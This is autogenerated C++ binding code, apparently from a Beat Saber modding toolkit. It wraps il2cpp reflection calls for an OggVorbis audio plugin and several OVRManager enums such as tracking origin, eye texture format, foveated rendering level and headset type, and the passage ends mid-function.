// Autogenerated method: OggVorbis.VorbisPlugin.GetOggVorbis
::ArrayW<uint8_t> OggVorbis::VorbisPlugin::GetOggVorbis(::UnityEngine::AudioClip* audioClip, float quality, int samplesToRead) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::VorbisPlugin::GetOggVorbis");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "VorbisPlugin", "GetOggVorbis", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(audioClip), ::il2cpp_utils::ExtractType(quality), ::il2cpp_utils::ExtractType(samplesToRead)})));
return ::il2cpp_utils::RunMethodRethrow<::ArrayW<uint8_t>, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, audioClip, quality, samplesToRead);
}
// Autogenerated method: OggVorbis.VorbisPlugin.Load
::UnityEngine::AudioClip* OggVorbis::VorbisPlugin::Load(::StringW filePath, int maxSamplesToRead) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::VorbisPlugin::Load");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "VorbisPlugin", "Load", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(filePath), ::il2cpp_utils::ExtractType(maxSamplesToRead)})));
return ::il2cpp_utils::RunMethodRethrow<::UnityEngine::AudioClip*, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, filePath, maxSamplesToRead);
}
// Autogenerated method: OggVorbis.VorbisPlugin.ToAudioClip
::UnityEngine::AudioClip* OggVorbis::VorbisPlugin::ToAudioClip(::ArrayW<uint8_t> bytes, ::StringW audioClipName, int maxSamplesToRead) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::VorbisPlugin::ToAudioClip");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "VorbisPlugin", "ToAudioClip", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(bytes), ::il2cpp_utils::ExtractType(audioClipName), ::il2cpp_utils::ExtractType(maxSamplesToRead)})));
return ::il2cpp_utils::RunMethodRethrow<::UnityEngine::AudioClip*, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, bytes, audioClipName, maxSamplesToRead);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/XrApi
#include "GlobalNamespace/OVRManager_XrApi.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/XrApi Unknown
::GlobalNamespace::OVRManager_XrApi GlobalNamespace::OVRManager_XrApi::_get_Unknown() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XrApi::_get_Unknown");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_XrApi>("", "OVRManager/XrApi", "Unknown"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/XrApi Unknown
void GlobalNamespace::OVRManager_XrApi::_set_Unknown(::GlobalNamespace::OVRManager_XrApi value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XrApi::_set_Unknown");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/XrApi", "Unknown", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/XrApi CAPI
::GlobalNamespace::OVRManager_XrApi GlobalNamespace::OVRManager_XrApi::_get_CAPI() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XrApi::_get_CAPI");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_XrApi>("", "OVRManager/XrApi", "CAPI"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/XrApi CAPI
void GlobalNamespace::OVRManager_XrApi::_set_CAPI(::GlobalNamespace::OVRManager_XrApi value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XrApi::_set_CAPI");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/XrApi", "CAPI", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/XrApi VRAPI
::GlobalNamespace::OVRManager_XrApi GlobalNamespace::OVRManager_XrApi::_get_VRAPI() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XrApi::_get_VRAPI");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_XrApi>("", "OVRManager/XrApi", "VRAPI"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/XrApi VRAPI
void GlobalNamespace::OVRManager_XrApi::_set_VRAPI(::GlobalNamespace::OVRManager_XrApi value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XrApi::_set_VRAPI");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/XrApi", "VRAPI", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/XrApi OpenXR
::GlobalNamespace::OVRManager_XrApi GlobalNamespace::OVRManager_XrApi::_get_OpenXR() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XrApi::_get_OpenXR");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_XrApi>("", "OVRManager/XrApi", "OpenXR"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/XrApi OpenXR
void GlobalNamespace::OVRManager_XrApi::_set_OpenXR(::GlobalNamespace::OVRManager_XrApi value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XrApi::_set_OpenXR");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/XrApi", "OpenXR", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_XrApi::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_XrApi::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/TrackingOrigin
#include "GlobalNamespace/OVRManager_TrackingOrigin.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/TrackingOrigin EyeLevel
::GlobalNamespace::OVRManager_TrackingOrigin GlobalNamespace::OVRManager_TrackingOrigin::_get_EyeLevel() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TrackingOrigin::_get_EyeLevel");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_TrackingOrigin>("", "OVRManager/TrackingOrigin", "EyeLevel"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/TrackingOrigin EyeLevel
void GlobalNamespace::OVRManager_TrackingOrigin::_set_EyeLevel(::GlobalNamespace::OVRManager_TrackingOrigin value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TrackingOrigin::_set_EyeLevel");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/TrackingOrigin", "EyeLevel", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/TrackingOrigin FloorLevel
::GlobalNamespace::OVRManager_TrackingOrigin GlobalNamespace::OVRManager_TrackingOrigin::_get_FloorLevel() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TrackingOrigin::_get_FloorLevel");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_TrackingOrigin>("", "OVRManager/TrackingOrigin", "FloorLevel"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/TrackingOrigin FloorLevel
void GlobalNamespace::OVRManager_TrackingOrigin::_set_FloorLevel(::GlobalNamespace::OVRManager_TrackingOrigin value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TrackingOrigin::_set_FloorLevel");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/TrackingOrigin", "FloorLevel", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/TrackingOrigin Stage
::GlobalNamespace::OVRManager_TrackingOrigin GlobalNamespace::OVRManager_TrackingOrigin::_get_Stage() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TrackingOrigin::_get_Stage");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_TrackingOrigin>("", "OVRManager/TrackingOrigin", "Stage"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/TrackingOrigin Stage
void GlobalNamespace::OVRManager_TrackingOrigin::_set_Stage(::GlobalNamespace::OVRManager_TrackingOrigin value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TrackingOrigin::_set_Stage");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/TrackingOrigin", "Stage", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_TrackingOrigin::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TrackingOrigin::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/EyeTextureFormat
#include "GlobalNamespace/OVRManager_EyeTextureFormat.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/EyeTextureFormat Default
::GlobalNamespace::OVRManager_EyeTextureFormat GlobalNamespace::OVRManager_EyeTextureFormat::_get_Default() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_EyeTextureFormat::_get_Default");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_EyeTextureFormat>("", "OVRManager/EyeTextureFormat", "Default"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/EyeTextureFormat Default
void GlobalNamespace::OVRManager_EyeTextureFormat::_set_Default(::GlobalNamespace::OVRManager_EyeTextureFormat value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_EyeTextureFormat::_set_Default");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/EyeTextureFormat", "Default", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/EyeTextureFormat R16G16B16A16_FP
::GlobalNamespace::OVRManager_EyeTextureFormat GlobalNamespace::OVRManager_EyeTextureFormat::_get_R16G16B16A16_FP() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_EyeTextureFormat::_get_R16G16B16A16_FP");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_EyeTextureFormat>("", "OVRManager/EyeTextureFormat", "R16G16B16A16_FP"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/EyeTextureFormat R16G16B16A16_FP
void GlobalNamespace::OVRManager_EyeTextureFormat::_set_R16G16B16A16_FP(::GlobalNamespace::OVRManager_EyeTextureFormat value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_EyeTextureFormat::_set_R16G16B16A16_FP");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/EyeTextureFormat", "R16G16B16A16_FP", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/EyeTextureFormat R11G11B10_FP
::GlobalNamespace::OVRManager_EyeTextureFormat GlobalNamespace::OVRManager_EyeTextureFormat::_get_R11G11B10_FP() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_EyeTextureFormat::_get_R11G11B10_FP");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_EyeTextureFormat>("", "OVRManager/EyeTextureFormat", "R11G11B10_FP"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/EyeTextureFormat R11G11B10_FP
void GlobalNamespace::OVRManager_EyeTextureFormat::_set_R11G11B10_FP(::GlobalNamespace::OVRManager_EyeTextureFormat value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_EyeTextureFormat::_set_R11G11B10_FP");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/EyeTextureFormat", "R11G11B10_FP", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_EyeTextureFormat::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_EyeTextureFormat::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/FixedFoveatedRenderingLevel
#include "GlobalNamespace/OVRManager_FixedFoveatedRenderingLevel.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/FixedFoveatedRenderingLevel Off
::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_get_Off() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_get_Off");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel>("", "OVRManager/FixedFoveatedRenderingLevel", "Off"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/FixedFoveatedRenderingLevel Off
void GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_set_Off(::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_set_Off");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/FixedFoveatedRenderingLevel", "Off", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/FixedFoveatedRenderingLevel Low
::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_get_Low() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_get_Low");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel>("", "OVRManager/FixedFoveatedRenderingLevel", "Low"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/FixedFoveatedRenderingLevel Low
void GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_set_Low(::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_set_Low");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/FixedFoveatedRenderingLevel", "Low", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/FixedFoveatedRenderingLevel Medium
::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_get_Medium() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_get_Medium");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel>("", "OVRManager/FixedFoveatedRenderingLevel", "Medium"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/FixedFoveatedRenderingLevel Medium
void GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_set_Medium(::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_set_Medium");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/FixedFoveatedRenderingLevel", "Medium", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/FixedFoveatedRenderingLevel High
::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_get_High() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_get_High");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel>("", "OVRManager/FixedFoveatedRenderingLevel", "High"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/FixedFoveatedRenderingLevel High
void GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_set_High(::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_set_High");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/FixedFoveatedRenderingLevel", "High", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/FixedFoveatedRenderingLevel HighTop
::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_get_HighTop() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_get_HighTop");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel>("", "OVRManager/FixedFoveatedRenderingLevel", "HighTop"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/FixedFoveatedRenderingLevel HighTop
void GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_set_HighTop(::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::_set_HighTop");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/FixedFoveatedRenderingLevel", "HighTop", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_FixedFoveatedRenderingLevel::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/TiledMultiResLevel
#include "GlobalNamespace/OVRManager_TiledMultiResLevel.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/TiledMultiResLevel Off
::GlobalNamespace::OVRManager_TiledMultiResLevel GlobalNamespace::OVRManager_TiledMultiResLevel::_get_Off() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TiledMultiResLevel::_get_Off");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_TiledMultiResLevel>("", "OVRManager/TiledMultiResLevel", "Off"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/TiledMultiResLevel Off
void GlobalNamespace::OVRManager_TiledMultiResLevel::_set_Off(::GlobalNamespace::OVRManager_TiledMultiResLevel value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TiledMultiResLevel::_set_Off");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/TiledMultiResLevel", "Off", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/TiledMultiResLevel LMSLow
::GlobalNamespace::OVRManager_TiledMultiResLevel GlobalNamespace::OVRManager_TiledMultiResLevel::_get_LMSLow() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TiledMultiResLevel::_get_LMSLow");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_TiledMultiResLevel>("", "OVRManager/TiledMultiResLevel", "LMSLow"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/TiledMultiResLevel LMSLow
void GlobalNamespace::OVRManager_TiledMultiResLevel::_set_LMSLow(::GlobalNamespace::OVRManager_TiledMultiResLevel value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TiledMultiResLevel::_set_LMSLow");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/TiledMultiResLevel", "LMSLow", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/TiledMultiResLevel LMSMedium
::GlobalNamespace::OVRManager_TiledMultiResLevel GlobalNamespace::OVRManager_TiledMultiResLevel::_get_LMSMedium() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TiledMultiResLevel::_get_LMSMedium");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_TiledMultiResLevel>("", "OVRManager/TiledMultiResLevel", "LMSMedium"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/TiledMultiResLevel LMSMedium
void GlobalNamespace::OVRManager_TiledMultiResLevel::_set_LMSMedium(::GlobalNamespace::OVRManager_TiledMultiResLevel value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TiledMultiResLevel::_set_LMSMedium");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/TiledMultiResLevel", "LMSMedium", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/TiledMultiResLevel LMSHigh
::GlobalNamespace::OVRManager_TiledMultiResLevel GlobalNamespace::OVRManager_TiledMultiResLevel::_get_LMSHigh() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TiledMultiResLevel::_get_LMSHigh");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_TiledMultiResLevel>("", "OVRManager/TiledMultiResLevel", "LMSHigh"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/TiledMultiResLevel LMSHigh
void GlobalNamespace::OVRManager_TiledMultiResLevel::_set_LMSHigh(::GlobalNamespace::OVRManager_TiledMultiResLevel value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TiledMultiResLevel::_set_LMSHigh");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/TiledMultiResLevel", "LMSHigh", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/TiledMultiResLevel LMSHighTop
::GlobalNamespace::OVRManager_TiledMultiResLevel GlobalNamespace::OVRManager_TiledMultiResLevel::_get_LMSHighTop() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TiledMultiResLevel::_get_LMSHighTop");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_TiledMultiResLevel>("", "OVRManager/TiledMultiResLevel", "LMSHighTop"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/TiledMultiResLevel LMSHighTop
void GlobalNamespace::OVRManager_TiledMultiResLevel::_set_LMSHighTop(::GlobalNamespace::OVRManager_TiledMultiResLevel value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TiledMultiResLevel::_set_LMSHighTop");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/TiledMultiResLevel", "LMSHighTop", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_TiledMultiResLevel::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_TiledMultiResLevel::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/SystemHeadsetType
#include "GlobalNamespace/OVRManager_SystemHeadsetType.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType None
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_None() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_None");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "None"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType None
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_None(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_None");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "None", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Oculus_Quest
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Oculus_Quest() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Oculus_Quest");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Oculus_Quest"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Oculus_Quest
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Oculus_Quest(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Oculus_Quest");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Oculus_Quest", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Oculus_Quest_2
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Oculus_Quest_2() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Oculus_Quest_2");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Oculus_Quest_2"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Oculus_Quest_2
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Oculus_Quest_2(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Oculus_Quest_2");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Oculus_Quest_2", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Placeholder_10
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Placeholder_10() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Placeholder_10");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_SystemHeadsetType>("", "OVRManager/SystemHeadsetType", "Placeholder_10"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/SystemHeadsetType Placeholder_10
void GlobalNamespace::OVRManager_SystemHeadsetType::_set_Placeholder_10(::GlobalNamespace::OVRManager_SystemHeadsetType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_set_Placeholder_10");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/SystemHeadsetType", "Placeholder_10", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/SystemHeadsetType Placeholder_11
::GlobalNamespace::OVRManager_SystemHeadsetType GlobalNamespace::OVRManager_SystemHeadsetType::_get_Placeholder_11() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_SystemHeadsetType::_get_Placeholder_11");
